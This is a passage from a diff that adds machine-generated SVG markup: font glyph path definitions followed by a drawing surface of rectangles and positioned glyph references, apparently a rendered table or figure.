+<path style="stroke:none;" d="M 5.234375 -10.265625 L 5.234375 -9.25 L 2.453125 -9.25 L 2.453125 -6.25 L 2.953125 -6.296875 C 3.734375 -6.285156 4.347656 -6.015625 4.796875 -5.484375 C 5.242188 -4.953125 5.472656 -4.195312 5.484375 -3.21875 C 5.472656 -2.664062 5.390625 -2.175781 5.234375 -1.75 C 5.085938 -1.332031 4.878906 -0.976562 4.609375 -0.6875 C 4.347656 -0.40625 4.039062 -0.191406 3.6875 -0.046875 C 3.34375 0.0976562 2.96875 0.171875 2.5625 0.171875 C 1.894531 0.171875 1.351562 0.078125 0.9375 -0.109375 L 1.203125 -1.046875 C 1.378906 -0.953125 1.570312 -0.890625 1.78125 -0.859375 C 2 -0.828125 2.25 -0.8125 2.53125 -0.8125 C 3.09375 -0.8125 3.546875 -1.015625 3.890625 -1.421875 C 4.242188 -1.828125 4.425781 -2.394531 4.4375 -3.125 C 4.425781 -3.875 4.242188 -4.429688 3.890625 -4.796875 C 3.546875 -5.160156 3.066406 -5.34375 2.453125 -5.34375 L 1.484375 -5.265625 L 1.484375 -10.265625 Z M 5.234375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-36">
+<path style="stroke:none;" d="M 4.78125 -7.328125 L 6.09375 -3.046875 L 6.359375 -1.640625 L 6.375 -1.640625 L 6.609375 -3.078125 L 7.59375 -7.328125 L 8.59375 -7.328125 L 6.640625 0.15625 L 6.046875 0.15625 L 4.5625 -4.65625 L 4.359375 -5.890625 L 4.328125 -5.890625 L 4.125 -4.640625 L 2.6875 0.15625 L 2.078125 0.15625 L 0.078125 -7.328125 L 1.203125 -7.328125 L 2.328125 -3.0625 L 2.515625 -1.640625 L 2.53125 -1.640625 L 2.796875 -3.09375 L 4 -7.328125 Z M 4.78125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-37">
+<path style="stroke:none;" d="M 1.0625 -10.265625 L 2.0625 -10.265625 L 1.6875 -7.4375 L 1.0625 -7.4375 Z M 1.0625 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-38">
+<path style="stroke:none;" d="M 1.390625 0 L 4.359375 -8.671875 L 4.890625 -9.390625 L 4.1875 -9.265625 L 0.828125 -9.265625 L 0.828125 -10.265625 L 5.828125 -10.265625 L 5.828125 -9.875 L 2.453125 0 Z M 1.390625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-39">
+<path style="stroke:none;" d="M 1.125 -6.5625 C 1.125 -6.84375 1.1875 -7.050781 1.3125 -7.1875 C 1.445312 -7.320312 1.628906 -7.390625 1.859375 -7.390625 C 2.078125 -7.390625 2.253906 -7.320312 2.390625 -7.1875 C 2.523438 -7.050781 2.59375 -6.84375 2.59375 -6.5625 C 2.59375 -6.28125 2.523438 -6.070312 2.390625 -5.9375 C 2.253906 -5.800781 2.078125 -5.734375 1.859375 -5.734375 C 1.628906 -5.734375 1.445312 -5.800781 1.3125 -5.9375 C 1.1875 -6.070312 1.125 -6.28125 1.125 -6.5625 Z M 1.125 -0.65625 C 1.125 -0.9375 1.1875 -1.144531 1.3125 -1.28125 C 1.445312 -1.414062 1.628906 -1.484375 1.859375 -1.484375 C 2.078125 -1.484375 2.253906 -1.414062 2.390625 -1.28125 C 2.523438 -1.144531 2.59375 -0.9375 2.59375 -0.65625 C 2.59375 -0.375 2.523438 -0.164062 2.390625 -0.03125 C 2.253906 0.101562 2.078125 0.171875 1.859375 0.171875 C 1.628906 0.171875 1.445312 0.101562 1.3125 -0.03125 C 1.1875 -0.164062 1.125 -0.375 1.125 -0.65625 Z M 1.125 -0.65625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-40">
+<path style="stroke:none;" d="M 0.53125 -0.625 C 0.53125 -0.875 0.597656 -1.070312 0.734375 -1.21875 C 0.878906 -1.363281 1.066406 -1.4375 1.296875 -1.4375 C 1.546875 -1.4375 1.75 -1.332031 1.90625 -1.125 C 2.070312 -0.925781 2.15625 -0.601562 2.15625 -0.15625 C 2.15625 0.164062 2.113281 0.453125 2.03125 0.703125 C 1.945312 0.960938 1.835938 1.191406 1.703125 1.390625 C 1.578125 1.585938 1.4375 1.75 1.28125 1.875 C 1.125 2 0.972656 2.09375 0.828125 2.15625 L 0.453125 1.65625 C 0.578125 1.59375 0.695312 1.503906 0.8125 1.390625 C 0.925781 1.273438 1.019531 1.148438 1.09375 1.015625 C 1.164062 0.878906 1.222656 0.734375 1.265625 0.578125 C 1.304688 0.429688 1.328125 0.28125 1.328125 0.125 C 1.128906 0.1875 0.945312 0.148438 0.78125 0.015625 C 0.613281 -0.117188 0.53125 -0.332031 0.53125 -0.625 Z M 0.53125 -0.625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-41">
+<path style="stroke:none;" d="M 1.8125 -7.328125 L 1.8125 -2.84375 C 1.8125 -2.101562 1.890625 -1.570312 2.046875 -1.25 C 2.203125 -0.9375 2.476562 -0.78125 2.875 -0.78125 C 3.082031 -0.78125 3.265625 -0.820312 3.421875 -0.90625 C 3.585938 -0.988281 3.734375 -1.097656 3.859375 -1.234375 C 3.984375 -1.367188 4.09375 -1.523438 4.1875 -1.703125 C 4.289062 -1.878906 4.375 -2.0625 4.4375 -2.25 L 4.4375 -7.328125 L 5.484375 -7.328125 L 5.484375 -2.078125 C 5.484375 -1.734375 5.492188 -1.367188 5.515625 -0.984375 C 5.546875 -0.609375 5.585938 -0.28125 5.640625 0 L 4.890625 0 L 4.625 -1.03125 L 4.578125 -1.03125 C 4.410156 -0.707031 4.171875 -0.425781 3.859375 -0.1875 C 3.546875 0.0507812 3.15625 0.171875 2.6875 0.171875 C 2.375 0.171875 2.097656 0.128906 1.859375 0.046875 C 1.628906 -0.0234375 1.429688 -0.160156 1.265625 -0.359375 C 1.097656 -0.566406 0.972656 -0.847656 0.890625 -1.203125 C 0.804688 -1.566406 0.765625 -2.023438 0.765625 -2.578125 L 0.765625 -7.328125 Z M 1.8125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-42">
+<path style="stroke:none;" d="M 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.253906 -9.328125 1.515625 -9.734375 C 1.785156 -10.148438 2.238281 -10.359375 2.875 -10.359375 C 3.125 -10.359375 3.351562 -10.34375 3.5625 -10.3125 C 3.769531 -10.28125 3.984375 -10.21875 4.203125 -10.125 L 3.9375 -9.21875 C 3.757812 -9.289062 3.59375 -9.335938 3.4375 -9.359375 C 3.289062 -9.390625 3.144531 -9.40625 3 -9.40625 C 2.8125 -9.40625 2.660156 -9.363281 2.546875 -9.28125 C 2.441406 -9.207031 2.363281 -9.085938 2.3125 -8.921875 C 2.257812 -8.753906 2.222656 -8.539062 2.203125 -8.28125 C 2.191406 -8.019531 2.1875 -7.703125 2.1875 -7.328125 L 3.71875 -7.328125 L 3.71875 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 Z M 0.234375 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-43">
+<path style="stroke:none;" d="M 5.65625 -10.265625 L 6.703125 -10.265625 L 6.703125 -3.390625 C 6.703125 -2.148438 6.457031 -1.253906 5.96875 -0.703125 C 5.488281 -0.148438 4.804688 0.125 3.921875 0.125 C 2.878906 0.125 2.117188 -0.140625 1.640625 -0.671875 C 1.171875 -1.210938 0.9375 -2.039062 0.9375 -3.15625 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -3.734375 C 2.046875 -3.203125 2.078125 -2.753906 2.140625 -2.390625 C 2.210938 -2.023438 2.328125 -1.726562 2.484375 -1.5 C 2.640625 -1.28125 2.832031 -1.117188 3.0625 -1.015625 C 3.300781 -0.921875 3.59375 -0.875 3.9375 -0.875 C 4.582031 -0.875 5.03125 -1.097656 5.28125 -1.546875 C 5.53125 -2.003906 5.65625 -2.734375 5.65625 -3.734375 Z M 5.65625 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-44">
+<path style="stroke:none;" d="M 0.9375 -10.265625 C 1.09375 -10.296875 1.265625 -10.316406 1.453125 -10.328125 C 1.648438 -10.347656 1.84375 -10.359375 2.03125 -10.359375 C 2.226562 -10.367188 2.421875 -10.375 2.609375 -10.375 C 2.804688 -10.382812 2.988281 -10.390625 3.15625 -10.390625 C 3.863281 -10.390625 4.46875 -10.265625 4.96875 -10.015625 C 5.46875 -9.773438 5.875 -9.425781 6.1875 -8.96875 C 6.5 -8.519531 6.722656 -7.972656 6.859375 -7.328125 C 7.003906 -6.691406 7.078125 -5.984375 7.078125 -5.203125 C 7.078125 -4.503906 7.007812 -3.832031 6.875 -3.1875 C 6.738281 -2.539062 6.515625 -1.972656 6.203125 -1.484375 C 5.890625 -0.992188 5.476562 -0.601562 4.96875 -0.3125 C 4.457031 -0.0195312 3.8125 0.125 3.03125 0.125 C 2.90625 0.125 2.742188 0.125 2.546875 0.125 C 2.359375 0.125 2.15625 0.113281 1.9375 0.09375 C 1.726562 0.0820312 1.53125 0.0703125 1.34375 0.0625 C 1.164062 0.0507812 1.03125 0.0351562 0.9375 0.015625 Z M 3.21875 -9.375 C 3.113281 -9.375 3.003906 -9.375 2.890625 -9.375 C 2.785156 -9.375 2.675781 -9.367188 2.5625 -9.359375 C 2.457031 -9.347656 2.359375 -9.335938 2.265625 -9.328125 C 2.171875 -9.316406 2.097656 -9.304688 2.046875 -9.296875 L 2.046875 -0.9375 C 2.078125 -0.925781 2.144531 -0.914062 2.25 -0.90625 C 2.351562 -0.90625 2.460938 -0.898438 2.578125 -0.890625 C 2.691406 -0.890625 2.796875 -0.882812 2.890625 -0.875 C 2.992188 -0.875 3.070312 -0.875 3.125 -0.875 C 3.664062 -0.875 4.113281 -0.988281 4.46875 -1.21875 C 4.832031 -1.457031 5.117188 -1.773438 5.328125 -2.171875 C 5.546875 -2.566406 5.695312 -3.023438 5.78125 -3.546875 C 5.863281 -4.078125 5.90625 -4.632812 5.90625 -5.21875 C 5.90625 -5.738281 5.863281 -6.25 5.78125 -6.75 C 5.707031 -7.25 5.570312 -7.691406 5.375 -8.078125 C 5.175781 -8.460938 4.898438 -8.773438 4.546875 -9.015625 C 4.203125 -9.253906 3.757812 -9.375 3.21875 -9.375 Z M 3.21875 -9.375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-45">
+<path style="stroke:none;" d="M 0.9375 -10.171875 C 1.25 -10.253906 1.582031 -10.3125 1.9375 -10.34375 C 2.289062 -10.375 2.640625 -10.390625 2.984375 -10.390625 C 3.367188 -10.390625 3.75 -10.34375 4.125 -10.25 C 4.507812 -10.164062 4.859375 -10.003906 5.171875 -9.765625 C 5.484375 -9.535156 5.734375 -9.210938 5.921875 -8.796875 C 6.109375 -8.390625 6.203125 -7.867188 6.203125 -7.234375 C 6.203125 -6.617188 6.109375 -6.09375 5.921875 -5.65625 C 5.742188 -5.226562 5.503906 -4.878906 5.203125 -4.609375 C 4.910156 -4.335938 4.570312 -4.140625 4.1875 -4.015625 C 3.800781 -3.898438 3.40625 -3.84375 3 -3.84375 C 2.957031 -3.84375 2.890625 -3.84375 2.796875 -3.84375 C 2.710938 -3.84375 2.617188 -3.84375 2.515625 -3.84375 C 2.421875 -3.851562 2.328125 -3.863281 2.234375 -3.875 C 2.140625 -3.882812 2.078125 -3.894531 2.046875 -3.90625 L 2.046875 0 L 0.9375 0 Z M 3.03125 -9.375 C 2.84375 -9.375 2.65625 -9.363281 2.46875 -9.34375 C 2.289062 -9.332031 2.148438 -9.3125 2.046875 -9.28125 L 2.046875 -4.921875 C 2.078125 -4.898438 2.132812 -4.882812 2.21875 -4.875 C 2.300781 -4.875 2.382812 -4.867188 2.46875 -4.859375 C 2.5625 -4.859375 2.648438 -4.859375 2.734375 -4.859375 C 2.816406 -4.859375 2.878906 -4.859375 2.921875 -4.859375 C 3.191406 -4.859375 3.453125 -4.890625 3.703125 -4.953125 C 3.960938 -5.023438 4.191406 -5.148438 4.390625 -5.328125 C 4.585938 -5.515625 4.742188 -5.757812 4.859375 -6.0625 C 4.984375 -6.375 5.046875 -6.765625 5.046875 -7.234375 C 5.046875 -7.640625 4.988281 -7.976562 4.875 -8.25 C 4.757812 -8.53125 4.613281 -8.753906 4.4375 -8.921875 C 4.257812 -9.085938 4.046875 -9.203125 3.796875 -9.265625 C 3.554688 -9.335938 3.300781 -9.375 3.03125 -9.375 Z M 3.03125 -9.375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-46">
+<path style="stroke:none;" d="M 1.0625 -7.328125 L 2.109375 -7.328125 L 2.109375 0.390625 C 2.109375 1.398438 1.945312 2.128906 1.625 2.578125 C 1.300781 3.023438 0.78125 3.191406 0.0625 3.078125 L 0.0625 2.125 C 0.269531 2.125 0.441406 2.078125 0.578125 1.984375 C 0.710938 1.898438 0.816406 1.769531 0.890625 1.59375 C 0.960938 1.414062 1.007812 1.191406 1.03125 0.921875 C 1.050781 0.648438 1.0625 0.332031 1.0625 -0.03125 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-47">
+<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.453125 C 4.625 -5.140625 4.539062 -5.660156 4.375 -6.015625 C 4.21875 -6.378906 3.898438 -6.5625 3.421875 -6.5625 C 3.078125 -6.5625 2.765625 -6.4375 2.484375 -6.1875 C 2.203125 -5.945312 2.015625 -5.640625 1.921875 -5.265625 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.640625 L 1.96875 -6.640625 C 2.164062 -6.898438 2.40625 -7.109375 2.6875 -7.265625 C 2.976562 -7.429688 3.335938 -7.515625 3.765625 -7.515625 C 4.085938 -7.515625 4.367188 -7.46875 4.609375 -7.375 C 4.847656 -7.289062 5.046875 -7.140625 5.203125 -6.921875 C 5.359375 -6.710938 5.472656 -6.425781 5.546875 -6.0625 C 5.628906 -5.707031 5.671875 -5.265625 5.671875 -4.734375 L 5.671875 0 Z M 4.625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-48">
+<path style="stroke:none;" d="M 6.3125 -0.390625 C 6.0625 -0.191406 5.75 -0.0507812 5.375 0.03125 C 5.007812 0.125 4.617188 0.171875 4.203125 0.171875 C 3.691406 0.171875 3.210938 0.078125 2.765625 -0.109375 C 2.328125 -0.304688 1.945312 -0.617188 1.625 -1.046875 C 1.3125 -1.472656 1.066406 -2.023438 0.890625 -2.703125 C 0.710938 -3.378906 0.625 -4.191406 0.625 -5.140625 C 0.625 -6.117188 0.722656 -6.941406 0.921875 -7.609375 C 1.128906 -8.285156 1.398438 -8.832031 1.734375 -9.25 C 2.066406 -9.675781 2.445312 -9.984375 2.875 -10.171875 C 3.3125 -10.359375 3.757812 -10.453125 4.21875 -10.453125 C 4.695312 -10.453125 5.085938 -10.414062 5.390625 -10.34375 C 5.703125 -10.269531 5.96875 -10.1875 6.1875 -10.09375 L 5.921875 -9.09375 C 5.734375 -9.207031 5.503906 -9.289062 5.234375 -9.34375 C 4.972656 -9.40625 4.671875 -9.4375 4.328125 -9.4375 C 3.984375 -9.4375 3.660156 -9.359375 3.359375 -9.203125 C 3.054688 -9.054688 2.785156 -8.8125 2.546875 -8.46875 C 2.316406 -8.132812 2.132812 -7.691406 2 -7.140625 C 1.863281 -6.597656 1.796875 -5.929688 1.796875 -5.140625 C 1.796875 -3.710938 2.035156 -2.640625 2.515625 -1.921875 C 3.003906 -1.203125 3.65625 -0.84375 4.46875 -0.84375 C 4.800781 -0.84375 5.097656 -0.882812 5.359375 -0.96875 C 5.628906 -1.0625 5.859375 -1.175781 6.046875 -1.3125 Z M 6.3125 -0.390625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-49">
+<path style="stroke:none;" d="M 2.875 0.171875 C 2.445312 0.148438 2.066406 0.101562 1.734375 0.03125 C 1.410156 -0.03125 1.140625 -0.128906 0.921875 -0.265625 L 1.265625 -1.265625 C 1.421875 -1.148438 1.632812 -1.046875 1.90625 -0.953125 C 2.175781 -0.859375 2.5 -0.800781 2.875 -0.78125 L 2.875 -4.9375 C 2.632812 -5.09375 2.394531 -5.257812 2.15625 -5.4375 C 1.925781 -5.613281 1.722656 -5.816406 1.546875 -6.046875 C 1.367188 -6.285156 1.222656 -6.554688 1.109375 -6.859375 C 0.992188 -7.171875 0.9375 -7.539062 0.9375 -7.96875 C 0.9375 -8.613281 1.097656 -9.148438 1.421875 -9.578125 C 1.753906 -10.015625 2.238281 -10.289062 2.875 -10.40625 L 2.875 -11.734375 L 3.765625 -11.734375 L 3.765625 -10.4375 C 4.148438 -10.414062 4.46875 -10.375 4.71875 -10.3125 C 4.976562 -10.257812 5.21875 -10.179688 5.4375 -10.078125 L 5.109375 -9.125 C 4.941406 -9.21875 4.753906 -9.296875 4.546875 -9.359375 C 4.335938 -9.421875 4.078125 -9.460938 3.765625 -9.484375 L 3.765625 -5.6875 C 4.015625 -5.519531 4.257812 -5.34375 4.5 -5.15625 C 4.75 -4.976562 4.96875 -4.769531 5.15625 -4.53125 C 5.34375 -4.289062 5.492188 -4.015625 5.609375 -3.703125 C 5.734375 -3.398438 5.796875 -3.039062 5.796875 -2.625 C 5.796875 -1.914062 5.617188 -1.316406 5.265625 -0.828125 C 4.921875 -0.347656 4.421875 -0.0351562 3.765625 0.109375 L 3.765625 1.46875 L 2.875 1.46875 Z M 3.53125 -0.84375 C 3.882812 -0.914062 4.164062 -1.09375 4.375 -1.375 C 4.582031 -1.664062 4.6875 -2.054688 4.6875 -2.546875 C 4.6875 -3.015625 4.570312 -3.394531 4.34375 -3.6875 C 4.125 -3.988281 3.851562 -4.253906 3.53125 -4.484375 Z M 3.109375 -9.453125 C 2.710938 -9.367188 2.4375 -9.1875 2.28125 -8.90625 C 2.125 -8.625 2.046875 -8.328125 2.046875 -8.015625 C 2.046875 -7.578125 2.144531 -7.21875 2.34375 -6.9375 C 2.539062 -6.65625 2.796875 -6.394531 3.109375 -6.15625 Z M 3.109375 -9.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-50">
+<path style="stroke:none;" d="M 0.6875 -4.6875 L 3.578125 -4.6875 L 3.578125 -3.6875 L 0.6875 -3.6875 Z M 0.6875 -4.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-51">
+<path style="stroke:none;" d="M 5.5625 -5.046875 L 5.5625 -4.625 L 1.1875 -1.34375 L 0.59375 -2.125 L 3.40625 -4.25 L 4.46875 -4.8125 L 3.421875 -5.28125 L 0.53125 -7.390625 L 1.109375 -8.171875 Z M 5.5625 -5.046875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-52">
+<path style="stroke:none;" d="M 2.6875 3.234375 C 2.3125 2.765625 2 2.25 1.75 1.6875 C 1.5 1.125 1.296875 0.546875 1.140625 -0.046875 C 0.984375 -0.640625 0.867188 -1.238281 0.796875 -1.84375 C 0.734375 -2.445312 0.703125 -3.019531 0.703125 -3.5625 C 0.703125 -4.101562 0.734375 -4.671875 0.796875 -5.265625 C 0.867188 -5.859375 0.984375 -6.457031 1.140625 -7.0625 C 1.296875 -7.664062 1.503906 -8.253906 1.765625 -8.828125 C 2.023438 -9.410156 2.34375 -9.953125 2.71875 -10.453125 L 3.375 -10.046875 C 3.0625 -9.546875 2.800781 -9.019531 2.59375 -8.46875 C 2.382812 -7.925781 2.21875 -7.375 2.09375 -6.8125 C 1.976562 -6.25 1.894531 -5.691406 1.84375 -5.140625 C 1.789062 -4.585938 1.765625 -4.0625 1.765625 -3.5625 C 1.765625 -3.09375 1.789062 -2.578125 1.84375 -2.015625 C 1.90625 -1.453125 2 -0.882812 2.125 -0.3125 C 2.257812 0.25 2.429688 0.796875 2.640625 1.328125 C 2.847656 1.867188 3.09375 2.351562 3.375 2.78125 Z M 2.6875 3.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-53">
+<path style="stroke:none;" d="M 0.703125 2.78125 C 0.984375 2.351562 1.226562 1.867188 1.4375 1.328125 C 1.644531 0.796875 1.8125 0.25 1.9375 -0.3125 C 2.070312 -0.882812 2.164062 -1.453125 2.21875 -2.015625 C 2.28125 -2.578125 2.3125 -3.09375 2.3125 -3.5625 C 2.3125 -4.0625 2.285156 -4.585938 2.234375 -5.140625 C 2.179688 -5.691406 2.09375 -6.25 1.96875 -6.8125 C 1.851562 -7.375 1.6875 -7.925781 1.46875 -8.46875 C 1.257812 -9.019531 1.003906 -9.546875 0.703125 -10.046875 L 1.359375 -10.453125 C 1.734375 -9.953125 2.050781 -9.410156 2.3125 -8.828125 C 2.570312 -8.253906 2.78125 -7.664062 2.9375 -7.0625 C 3.09375 -6.457031 3.203125 -5.859375 3.265625 -5.265625 C 3.335938 -4.671875 3.375 -4.101562 3.375 -3.5625 C 3.375 -3.019531 3.335938 -2.445312 3.265625 -1.84375 C 3.203125 -1.238281 3.09375 -0.640625 2.9375 -0.046875 C 2.78125 0.546875 2.570312 1.125 2.3125 1.6875 C 2.0625 2.25 1.753906 2.765625 1.390625 3.234375 Z M 0.703125 2.78125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-54">
+<path style="stroke:none;" d="M 2.515625 -6.515625 L 1.875 -8.125 L 1.828125 -8.125 L 2 -6.515625 L 2 0 L 0.9375 0 L 0.9375 -10.4375 L 1.59375 -10.4375 L 5.40625 -3.765625 L 6 -2.234375 L 6.0625 -2.234375 L 5.890625 -3.765625 L 5.890625 -10.265625 L 6.953125 -10.265625 L 6.953125 0.15625 L 6.28125 0.15625 Z M 2.515625 -6.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-55">
+<path style="stroke:none;" d="M 0.46875 -0.953125 L 3.203125 -5.75 L 3.71875 -6.375 L 0.46875 -6.375 L 0.46875 -7.328125 L 4.75 -7.328125 L 4.75 -6.375 L 2.015625 -1.546875 L 1.515625 -0.953125 L 4.75 -0.953125 L 4.75 0 L 0.46875 0 Z M 0.46875 -0.953125 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface21510">
+<rect x="0" y="0" width="821" height="378" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M -1 24 L 40 24 L 40 42.8 L -1 42.8 Z M -1 24 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="611.15625" y="41.00217"/>
+  <use xlink:href="#glyph0-2" x="618.378472" y="41.00217"/>
+  <use xlink:href="#glyph0-3" x="626.434028" y="41.00217"/>
+  <use xlink:href="#glyph0-4" x="635.322917" y="41.00217"/>
+  <use xlink:href="#glyph0-5" x="640.045139" y="41.00217"/>
+  <use xlink:href="#glyph0-6" x="648.378472" y="41.00217"/>
+  <use xlink:href="#glyph0-7" x="652.545139" y="41.00217"/>
+  <use xlink:href="#glyph0-8" x="656.989583" y="41.00217"/>
+  <use xlink:href="#glyph0-9" x="665.878472" y="41.00217"/>
+  <use xlink:href="#glyph0-10" x="671.434028" y="41.00217"/>
+  <use xlink:href="#glyph0-11" x="680.322917" y="41.00217"/>
+  <use xlink:href="#glyph0-12" x="689.211806" y="41.00217"/>
+  <use xlink:href="#glyph0-13" x="698.100694" y="41.00217"/>
+  <use xlink:href="#glyph0-14" x="705.322917" y="41.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.3 26.486328 C 25.134375 26.486328 25 26.620703 25 26.786328 L 25 30.186328 C 25 30.351953 25.134375 30.486328 25.3 30.486328 L 38.7 30.486328 C 38.865625 30.486328 39 30.351953 39 30.186328 L 39 26.786328 C 39 26.620703 38.865625 26.486328 38.7 26.486328 Z M 25.3 26.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 27.59043 L 39 27.59043 L 39 28.476367 L 25 28.476367 Z M 25 27.59043 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="528.78125" y="68.205404"/>
+  <use xlink:href="#glyph1-2" x="531.836806" y="68.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="553.225694" y="68.205404"/>
+  <use xlink:href="#glyph1-4" x="559.614583" y="68.205404"/>
+  <use xlink:href="#glyph1-5" x="565.447917" y="68.205404"/>
+  <use xlink:href="#glyph1-6" x="574.892361" y="68.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="602.114583" y="68.205404"/>
+  <use xlink:href="#glyph1-8" x="608.503472" y="68.205404"/>
+  <use xlink:href="#glyph1-1" x="612.392361" y="68.205404"/>
+  <use xlink:href="#glyph1-9" x="615.447917" y="68.205404"/>
+  <use xlink:href="#glyph1-6" x="620.447917" y="68.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="651.003472" y="68.205404"/>
+  <use xlink:href="#glyph1-10" x="654.059028" y="68.205404"/>
+  <use xlink:href="#glyph1-2" x="657.114583" y="68.205404"/>
+  <use xlink:href="#glyph1-6" x="663.503472" y="68.205404"/>
+  <use xlink:href="#glyph1-11" x="669.614583" y="68.205404"/>
+  <use xlink:href="#glyph1-9" x="674.614583" y="68.205404"/>
+  <use xlink:href="#glyph1-8" x="679.892361" y="68.205404"/>
+  <use xlink:href="#glyph1-1" x="683.78125" y="68.205404"/>
+  <use xlink:href="#glyph1-7" x="686.836806" y="68.205404"/>
+  <use xlink:href="#glyph1-12" x="693.225694" y="68.205404"/>
+  <use xlink:href="#glyph1-1" x="697.392361" y="68.205404"/>
+  <use xlink:href="#glyph1-13" x="700.447917" y="68.205404"/>
+  <use xlink:href="#glyph1-3" x="706.836806" y="68.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="724.336806" y="68.205404"/>
+  <use xlink:href="#glyph1-10" x="727.392361" y="68.205404"/>
+  <use xlink:href="#glyph1-10" x="730.447917" y="68.205404"/>
+  <use xlink:href="#glyph1-9" x="733.503472" y="68.205404"/>
+  <use xlink:href="#glyph1-4" x="738.78125" y="68.205404"/>
+  <use xlink:href="#glyph1-12" x="744.614583" y="68.205404"/>
+  <use xlink:href="#glyph1-6" x="748.503472" y="68.205404"/>
+  <use xlink:href="#glyph1-14" x="754.336806" y="68.205404"/>
+  <use xlink:href="#glyph1-13" x="760.725694" y="68.205404"/>
+  <use xlink:href="#glyph1-8" x="767.114583" y="68.205404"/>
+  <use xlink:href="#glyph1-15" x="771.003472" y="68.205404"/>
+  <use xlink:href="#glyph1-16" x="776.559028" y="68.205404"/>
+  <use xlink:href="#glyph1-1" x="781.559028" y="68.205404"/>
+  <use xlink:href="#glyph1-2" x="784.614583" y="68.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="528.78125" y="86.549154"/>
+  <use xlink:href="#glyph1-18" x="535.447917" y="86.549154"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="553.225694" y="86.549154"/>
+  <use xlink:href="#glyph1-1" x="560.170139" y="86.549154"/>
+  <use xlink:href="#glyph1-20" x="563.225694" y="86.549154"/>
+  <use xlink:href="#glyph1-6" x="568.78125" y="86.549154"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="602.114583" y="86.549154"/>
+  <use xlink:href="#glyph1-22" x="608.78125" y="86.549154"/>
+  <use xlink:href="#glyph1-23" x="615.447917" y="86.549154"/>
+  <use xlink:href="#glyph1-23" x="622.114583" y="86.549154"/>
+  <use xlink:href="#glyph1-24" x="628.78125" y="86.549154"/>
+  <use xlink:href="#glyph1-23" x="631.28125" y="86.549154"/>
+  <use xlink:href="#glyph1-23" x="637.947917" y="86.549154"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="651.003472" y="86.549154"/>
+  <use xlink:href="#glyph1-10" x="654.059028" y="86.549154"/>
+  <use xlink:href="#glyph1-25" x="657.114583" y="86.549154"/>
+  <use xlink:href="#glyph1-26" x="663.503472" y="86.549154"/>
